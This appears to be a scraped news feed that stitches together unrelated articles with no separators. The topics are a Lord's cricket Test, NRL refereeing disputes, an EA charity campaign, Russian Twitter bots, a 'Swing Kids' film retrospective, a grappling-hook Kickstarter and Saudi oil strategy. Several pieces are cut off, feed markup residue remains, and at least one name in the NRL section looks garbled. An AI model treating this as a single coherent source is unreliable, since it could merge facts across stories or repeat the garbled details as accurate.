Having bowled opener Murali Vijay for nought in the first innings, it was not long before Anderson had him caught behind for a second duck — his 100th wicket in 23 Tests at Lord’s.
Vijay’s fellow opener KL Rahul fell for 10 when lbw to Anderson.
After lunch, Ajinkya Rahane (13) was well caught by Keaton Jennings at third slip off Broad.
Rahane’s exit brought in Kohli, the world’s top-ranked batsman coming in at number five rather than his usual number four position because of a stiff back.
But Kohli, who hopes to be fit for the third Test in Nottingham starting on Saturday, could only watch as Broad’s superb late inswinger knocked over off stump to bowl Cheteshwar Pujara for 17.
Kohli, needing prolonged on-field treatment, fell for 17 when caught by debutant Ollie Pope at short-leg off Broad.
And the next ball saw Broad have Dinesh Karthik plumb lbw.
Ravichandran Ashwin (33 not out) survived the hat-trick, Broad spearing the ball legside for four byes, before Woakes ended the match when Ishant Sharma was caught by Pope at leg-slip.
The Raiders’ hopes of making the NRL finals were crushed after two controversial decisions were made by the referees and the bunker.
Number one referee Gerard Sutton and touch judge Rick McFarlane now find themselves in the gun after Greenberg stepped in to deal with the crisis.
“We should be getting those decisions right, they impact games, they impact livelihoods. We have got to get better,” Greenberg said.
“The competition is close, margins are close … it means every decision matters.
“You can take it as read that tomorrow’s appointments will reflect some of that disappointment. There has to be accountability, that’s across the board, including me. You can expect there will be accountability taken tomorrow.”
Greenberg’s position puts referee boss Bernard Sutton in a slightly awkward spot as he could be forced to deliver the bad news to his brother.
An apology from Bernard Sutton was delivered to Raiders coach Ricky Sutton following the game, but it would have done little to liven up the coach’s mood.
As the controversial calls continue to mount throughout the season, players and coaches have jumped behind a radical proposal to implement the captain’s challenge.
Boyd Cordner and Kevin Walters have thrown their support behind Nathan Brown’s proposal to re-trial the captain’s challenge, but the trio shouldn’t hold their breath with a return this year highly unlikely.
Previously tested in under-20s, the challenge method has only been used once in an final-round NRL match between St George Illawarra and Newcastle in 2016.
Knights coach Brown offered to trial it against North Queensland on Friday night with Cowboys coach Paul Green also open to the idea, but there appears no chance it would be implemented in time.
And while it’s prompted calls for the bunker to be scrapped following a fortnight of dramas, NSW captain Cordner said the challenge system would be a better process for it.
“I believe there is still a place for the bunker, it’s just if we can find a simpler way to get the decision would be nice,” Cordner said at Fox League’s retro round launch.
“If that means having the captain’s challenge, I wouldn’t mind it.
“There is some stuff you just instinctively feel is right and if we can get that opportunity it would be good.”
For the system to be tested, it’s likely it would have to be passed through the competition committee which doesn’t meet again until next month.
It’s also understood it’s previously been discussed by that committee and another filled of NRL coaches, and the general consensus has been against it’s use.
Opponents of the system pointed to the fact under-20s captains used in-play challenges as a ploy to slow down the momentum of the game when their side needed to.
However the fact the system was limited only to try-scoring plays when used in the NRL largely addressed that.
There are also fears it could still fail to rule out the howlers, given teams are only given one incorrect challenge per half before an additional one is awarded in the final five minutes and golden point.
Sharks five-eighth Matt Moylan — himself a captain at Penrith last year — worried on Monday the system would only further complicate matters. “It’s just another way to mess with the game,” Moylan said.
“There’s already so much scrutiny on decisions and I guess it could have a negative effect, it could be positive. I don’t know.” But Walters said something had to change from the current bunker system. “It’s taking too much away from the referees and their decision making,” he told Sky Sports Radio.
“The (captain’s challenge) can work. Because generally players know whether they’ve scored on not.” The player at the centre of the drama, Cronulla winger Sione Katoa, said he didn’t see the flag raised on Friday.
— with AAP
Today marks the beginning of Electronic Arts’s third annual Play to Give campaign. In addition to donating $ 1 million to three charities, the developer is running in-game events in several of its games to raise awareness and give players rewards for cooperative play. The campaign will run until 11:59 p.m. Pacific on June 3. As in previous yea…Read More
]]>
Rob Stothard / Stringer / Getty Images
An investigation by The Sunday Times reports that Russia attempted to influence the result of last year’s general election through the use of Twitter bots.
The investigation, which was made in conjunction with Swansea University, found that 6,500 fake Twitter accounts had been tweeting messages of support for Labour Leader Jeremy Corbyn in the run-up to the election.See the rest of the story at Business Insider
NOW WATCH: Why the Saudi crown prince met with Trump, Oprah, Bill Gates, and Jeff Bezos
See Also:
SEE ALSO: A Russian troll factory had a $ 1.25 million monthly budget to interfere in the 2016 US election
![]()
(Welcome to Nostalgia Bomb, a series where we take a look back on beloved childhood favorites and discern whether or not they’re actually any good. In this edition: a look back at Swing Kids, the early ’90s drama about dancing in the face of Nazism starring a young Christian Bale).
For about three months in 1998, everyone got into swing music.
The Brian Setzer Orchestra, Cherry Poppin’ Daddies, Royal Crown Revue. The big band sound was suddenly everywhere after creeping into the public eye through the early ’90s.
RCR featured prominently in The Mask in 1994 as the flashy backing band for Cameron Diaz’s character’s dance numbers. Then Big Bad Voodoo Daddy was in Swingers. Then Brian Setzer, 1980s savior of rockabilly, had a hit covering the Louis Prima song “Jump, Jive an’ Wail” in 1998 (it won a Grammy!) and the nation had a reached a fever pitch culminating in Old Navy cashing in on the trend.
I dove in greased-up head first. That was also my freshman year of high school, and I was invested in a full reinvention of the middle school me, which meant shunning drama for band. Over the next four years, I’d play in the pit (I never figured out why we needed a xylophone on a football field), march quads, and play vibraphone, then guitar, then piano, then trap set in our jazz band.
I played upright bass in a touring rockabilly band, wore terrible silk shirts with martini glasses on them, had a wallet chain and pocket watch, and generally absorbed a host of style tips from different musical eras without regard for continuity. I invited Big Bad Voodoo Daddy to my Eagle Scout ceremony. And got a response! It was a really nice postcard.
I also listened to Slipknot, Ben Folds Five, and Outkast, but swing and jazz provided a ready-made identity. It had a language. A dress code. An attitude. Trivia. A complete system.
It’s all profoundly embarrassing, which is why I was desperate to see whether Swing Kids, the 1993 granddaddy of the swing revival, held up without nostalgia goggles on.
The movie takes place in 1939 Hamburg where a group of kids passionate for big band music and British fashion come of age during the rapid ascendancy of the Nazis. Peter (Robert Sean Leonard) is sweet and emo, a boy whose professional violinist father died shortly after the Nazis tortured him in 1933. He’s quick to temper, especially if you’re a dumb-faced Nazi block captain slapping his mother (Barbara Hershey) around.
Thomas (Christian Bale) is even quicker to start punching, which gives him a natural good guy sheen when it comes to beating the crap out of goons in the Hitler Jugend (the Nazi youth program) bullying a Jewish boy on the way to yeshiva. It doesn’t matter that he didn’t know who he was saving, or that he probably did it because he thinks the HJs are tragically uncool. He’s a guy you want in your corner.
He’s also constantly butting heads with Arvid (Frank Whaley), a virtuoso guitar player who compensates for his dance-inhibiting leg deformity by learning everything about every jazz song. Recording dates and locations. Who solos. What brand of cymbals the drummer used, probably. Every geek crew has an Arvid: the fanboy who’s into the hobby just a little more than everyone else.
They all try to stick together as personal and political forces pull them in opposing directions.
The appeal of Swing Kids to a 13-year-old band nerd is obvious and two-fold. First, there’s the music. The dance hall sequences are electrifying swirls of feet and legs and snapping fingers. There’s a clear, unselfconscious love for the music that spills out into the choreography that introduces Thomas and Peter as teen royalty. Every night is the best night of their lives.
These sequences were PG sexy. Girls’ skirts flew high in the air, everything seemed sweaty, and bodies spun by and collided in a heated frenzy, backed up by a musical burst of intense joy. It reminded me most of the local punk scene where, if you slipped on the sweat-soaked floor in the mosh pit, a stranger’s hand would always appear to pull you back on your feet.
The idea that a bunch of teens could go out on the town, grab beers, and literally pick up girls was also endlessly appealing to me. It seemed grown up, and it thrilled me the same way seeing my much-older brother’s first apartment away from home did.
The big band bliss was balanced by a complicated camaraderie of friends drawn together largely because of their shared interest. They rarely gelled well, and Peter regularly played peacemaker between Arvid and Thomas before heads cooled down again. I think now that the characters must have also let me live out the fantasy of what I would do if confronted by Nazis. I could see power in teenagers fighting back against an unstoppable wave of hatred and injustice, even in their own superficial way.
But most of all, these were high schoolers learning about and falling in love with the same musicians I was learning about and falling in love with. Benny Goodman. Count Basie. Duke Ellington. They obsessed over music. So did I. They were trying to get girlfriends. So was I. They were navigating the dangerous waters of a murderous regime that demanded full loyalty. I could fantasize about doing the same. Fighting back against genocidal maniacs by putting on my dancing shoes. You cannot love swing music and be a Nazi.
It was also difficult to tell if the swing kids were cool at school or hopeless dorks grasping for popularity only in their cafes. That made sense to me. A few years on from Dead Poet’s Society, Robert Sean Leonard was King of the Sensitive Boys, and I saw a lot of myself in him no matter how much I wanted to relate to Christian Bale’s brawler courage.
The post ‘Swing Kids’ Revisited: Does the Nazi Jitterbug Drama for Kids Still Hold Up? appeared first on /Film.
![]()
Have you ever wanted to swing through the air like radioactive superhero Spider-Man? What about death – are you interested in that? A new Spider-Man Kickstarter product might give you the chance to achieve both of those dreams!
I’m at a bit of a loss here. There’s a new Kickstarter page for something called “Air-Ropes: The Grappling Hook Experience” and I watched the video presentation wondering if it was supposed to be a joke. But no, this is apparently real. Inventor Trajan Dimsey has concocted a device that enables you to shoot grappling hook ropes from arm-cannons. You can then, in theory, use the ropes to swing through the air just like your friendly neighborhood Spider-Man. See for yourself.
There’s a lot to take in here. For one thing, Dimsey isn’t looking for funding to make his product. Instead, he wants to buy a “grid of giant air bags” so he can expand his swinging grounds. Then he wants to “get a portable structure like they use at musical festivals.”
On top of this, there’s a safety issue. Dimsey insists this whole thing is very safe, and in the video, you can see he’s swinging very close to the ground. But what would happen if someone got their hands on this and took it to the roof of a building (you know, just like Spider-Man)? My prediction: instant death. Dimsey apparently only intends for his Spider-Man air-ropes to be used at a controlled location, like a “theme-park ride.”
But I’m skeptical. “Making this safe enough for public” is important, Dimsey says on his Kickstarter page, adding, “This is essentially a theme park ride, so I’ve been using British safety standard HSG 175 as my guide. Specifically this means swapping out arduinos with safety PLCs and watchdog circuits, that sort of thing.”
Okay, but what happens when you swing too hard and rip your arm out of its socket? What then?
We’ll have to wait for the answers to these questions. Here’s how Dimsey describes the desired experience:
Everyone will start by trying on the rope launchers and aiming at targets before any swinging is done. So you can still have fun without going to the next step…Then you can do some small practice swings and basic manoeuvres. And those who are good enough will be let into the main arena where you can shoot and swing in any direction you want.
Head on over to Dimsey’s Kickstarter page if you’re interested in helping him achieve his confusing goals.
The post Kickstarter Product Lets You Swing Through the Air Like Spider-Man and Will Possibly Kill You appeared first on /Film.
![]()
Crown Prince Mohammed bin Salman, commonly referred to as MBS, would likely not have had the opportunity to initiate the sweeping changes envisaged in Vision 2030 had it not been for the price collapse. Now, Riyadh needs oil prices to rise as high as possible for the plan to succeed — and is even ready to tip the market into a deficit to that end.
Saudi Arabia used to be OPEC’s most influential price dove, according to Bloomberg’s Grant Smith. Now, the kingdom has adopted a markedly different approach. Saudi Arabia is now focused on pushing prices as high as it can for a very simple reason: Aramco’s IPO.
There are more than enough doubts surrounding the listing of the world’s largest oil company. There’s no certainty about the location of its international listing, and some observers have even argued that Riyadh might opt for a private placement instead so as to ensure the entire 5 percent that is set to be offered will find a buyer.
Aramco’s IPO is crucial for Vision 2030, as the proceeds from the sale will be the fuel that this ambitious plan runs on. While analysts disagree strongly on exactly how much Aramco is worth, it’s clear that the higher oil prices are, the higher the valuation for this oil giant will be.
After a strong rally at the end of 2017 and the beginning of 2018, Brent and WTI have both fallen from their multiyear highs, as the fast growth in US shale production offsets the OPEC cuts. Despite OECD inventories nearing their five-year average, oil prices are refusing to rally. In fact, some analysts are warning that the price slide we saw this month is only the beginning of a much bigger decline.
Riyadh doesn’t want to hear this prior to the IPO. It’s not something the Saudis want to hear in the coming years either, because the price of oil doesn’t just need to be higher now — it needs to remain high in the near to medium term to ensure the Aramco IPO’s success.
So, what’s an oil kingdom to do? Last week, Energy Minister Khalid al-Falih suggested that OPEC should change the way it measures global inventories because the current method produces unreliable data. The current method is based on the five-year average inventory level for the members of the OECD. But that five-year average is a moving target, as OilPrice’s Nick Cunningham recently noted, and in the last five years it has reflected a substantial glut. So, based on the five-year OECD average, the market rebalancing may turn out to be a reduction of the overhang as opposed to an impressive reduction in the global oil glut.
Of course, there’s always the possibility of a conflict in the Middle East driving oil prices up — but geopolitical unrest is far from a guarantee. The recent unconfirmed (and likely to never be confirmed) reports about Saudi Arabia working together with Israel to thwart Iran’s growing influence in the region were followed this week by an open warning from Tel Aviv that it’s ready to confront Iran directly, and Iran issuing an in-kind threat that promised to “level Tel Aviv.” For oil price analysts, these growing tensions can never be ignored.
Another factor that no producer can control is demand. For now, demand forecasts are overwhelmingly rosy, but some observers are wary of too much optimism. Higher prices themselves are a negative factor for demand growth.
So, Saudi Arabia is once again ready to do whatever it takes to push prices up. But in an increasingly complex oil market, it remains to be seen if the oil kingdom can achieve its lofty goals.
This article was originally published on Oilprice.com
]]>